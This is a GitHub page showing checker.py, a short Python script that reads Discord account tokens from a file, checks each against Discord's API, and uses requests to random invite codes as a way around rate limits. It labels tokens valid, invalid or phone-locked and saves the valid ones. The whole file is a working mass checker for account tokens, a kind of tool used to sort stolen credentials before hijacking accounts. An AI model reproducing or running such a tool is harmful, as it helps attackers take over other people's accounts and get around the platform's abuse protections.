-
Notifications
You must be signed in to change notification settings - Fork 13
/
checker.py
43 lines (39 loc) · 1.88 KB
/
checker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from requests import get, post
from random import randint
def variant1(token):
response = get('https://discord.com/api/v6/auth/login', headers={"Authorization": token})#Bad variant for mass token check due to the rate limit.
return True if response.status_code == 200 else False
def variant2(token):
response = post(f'https://discord.com/api/v6/invite/{randint(1,9999999)}', headers={'Authorization': token})
if "You need to verify your account in order to perform this action." in str(response.content) or "401: Unauthorized" in str(response.content):
return False
else:
return True
def variant2_Status(token):
response = post(f'https://discord.com/api/v6/invite/{randint(1,9999999)}', headers={'Authorization': token})
if response.status_code == 401:
return 'Invalid'
elif "You need to verify your account in order to perform this action." in str(response.content):
return 'Phone Lock'
else:
return 'Valid'
if __name__ == "__main__":
try:
checked = []
with open('tokens.txt', 'r') as tokens:
for token in tokens.read().split('\n'):
if len(token) > 15 and token not in checked and variant2(token) == True:
print(f'Token: {token} is Valid')
checked.append(token)
else:
print(f'Token: {token} is Invalid')
if len(checked) > 0:
save = input(f'{len(checked)} valid tokens\nSave to File (y/n)').lower()
if save == 'y':
name = randint(100000000, 9999999999)
with open(f'{name}.txt', 'w') as saveFile:
saveFile.write('\n'.join(checked))
print(f'Tokens Save To {name}.txt File!')
input('Press Enter For Exit...')
except:
input('Can`t Open "tokens.txt" File!')